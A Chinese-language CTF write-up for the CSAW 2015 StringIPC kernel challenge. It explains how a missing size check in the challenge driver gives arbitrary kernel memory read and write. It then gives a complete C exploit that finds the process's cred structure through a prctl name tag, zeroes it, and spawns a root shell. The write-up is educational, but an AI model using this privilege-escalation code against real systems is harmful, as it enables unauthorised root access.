0%

CSAW-2015-StringIPC解法一搜索修改cred结构

首先,查看一下启动脚本,发现没有开smap、smep、kaslr

1
2
3
4
5
6
7
8
qemu-system-x86_64 \  
-m 512 \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-nographic \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \

查看一下内核版本,为4.4.x

然后,我们分析一下StringIPC.ko驱动文件,题目有提供给我们源代码,那么我们直接分析源代码

realloc_ipc_channel函数里,没有对new_size进行检查**,如果new_size为-1的话,程序将krealloc(0),与glibc的堆不同的是,如果kmalloc(0)/kerallloc(0),返回的地址就是0x10**

而后面又将buf_size设置为new_size,如果new_size是-1,由于是无符号数,并且堆地址为0x10,那么我们就能实现任意地址读写

写数据的时候,需要注意的是使用了strncpy_from_user函数,因此数据中如果遇到0,就截断了,因此,在写的时候,我们应该逐字节写入

能实现任意地址读写,那么最简单的方法就是在内存里搜索cred结构,然后篡改,从而提权。那么,如何可靠的在内存中查找cred结构能?

Linux的进程有一个这样的结构体(太长部分省略)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct task_struct {  
...
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
...
}

我们看到了,在task_struct结构体里有cred的指针,我们只要得到了cred的指针的值,那么我们就能利用任意地址读写来找到cred,进而修改。那么如何找到cred的指针呢?我们注意到,在cred指针下方,有一个comm字符数组,这个字符串表示线程的名字,其内容可以通过linux的prctl(PR_SET_NAME,target);来设置指定的值那么,我们设置一个复杂的长度不超过16字节的字符串作为标记,然后,在内存里搜索这个标记,如果搜索到了,就可以确定这个位置前面就是cred指针。

为了提高搜索的效率,我们还要确定一下搜索的范围,linux kernel的内存映射图如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+  
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

我们注意到,在**0xffff880000000000——0xffffc80000000000区域,**是堆的分配区域,因此,我们只需要搜索这段内存,即可找到task_struct结构,进而找到cred结构。

我们的exploit.c程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#include <stdio.h>  
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

struct alloc_channel_args {
size_t buf_size;
int id;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

void errExit(char *msg) {
puts(msg);
exit(-1);
}
//驱动的文件描述符
int fd;
//初始化驱动
void initFD() {
fd = open("/dev/csaw",O_RDWR);
if (fd < 0) {
errExit("[-] open file error!!");
}
}

//申请一个channel,返回id
int alloc_channel(size_t size) {
struct alloc_channel_args args;
args.buf_size = size;
args.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
if (args.id == -1) {
errExit("[-]alloc_channel error!!");
}
return args.id;
}

//改变channel的大小
void shrink_channel(int id,size_t size) {
struct shrink_channel_args args;
args.id = id;
args.size = size;
ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
struct seek_channel_args args;
args.id = id;
args.index = offset;
args.whence = whence;
ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//读取数据
void read_channel(int id,char *buf,size_t count) {
struct read_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//写数据
void write_channel(int id,char *buf,size_t count) {
struct write_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
seek_channel(id,addr-0x10,SEEK_SET);
read_channel(id,buf,count);
}
//任意地址写
//由于题目中使用了strncpy_from_user,遇到0就会截断,因此,我们逐字节写入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
for (int i=0;i<count;i++) {
seek_channel(id,addr+i-0x10,SEEK_SET);
write_channel(id,buf+i,1);
}
}


char root_cred[28] = {0};
int main() {
//通过prctl给当前进程的task结构设置一个标记,方便我们在内存中搜索时可以作为依据
//char tag[16] = "thisisatag";
char *buf = (char *)calloc(1,0x1000);
//prctl(PR_SET_NAME,tag);
char target[16];
strcpy(target,"try2findmesauce");
prctl(PR_SET_NAME,target);
initFD();
//申请一个channel,大小0x100
int id = alloc_channel(0x100);
//改变channel大小,形成漏洞,实现任意地址读写
shrink_channel(id,0x101);
size_t cred_addr = -1;
//task和cred结构的范围在0xffff880000000000~0xffffc80000000000
for (size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000) {
//每次读取0x1000的字节
arbitrary_read(id,buf,addr,0x1000);

//搜索当前读出的数据里是否有我们的标记
size_t tag_ptr = memmem(buf, 0x1000,target,16);
if (tag_ptr) {
cred_addr = *(size_t *)(tag_ptr - 0x8);
size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10);
if ((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr) {
printf("[+] found cred_ptr at 0x%lx\n",addr + tag_ptr - (size_t)buf);
printf("[+] cred_addr at 0x%lx\n",cred_addr);
break;
}
}
}
if (cred_addr == -1) {
errExit("[-]can't find cred!!");
}
arbitrary_write(id,root_cred,cred_addr,28);
if (getuid() == 0) {
printf("[+]rooted!!\n");
system("/bin/sh");
} else {
errExit("[-]root fail!!\n");
}
return 0;
}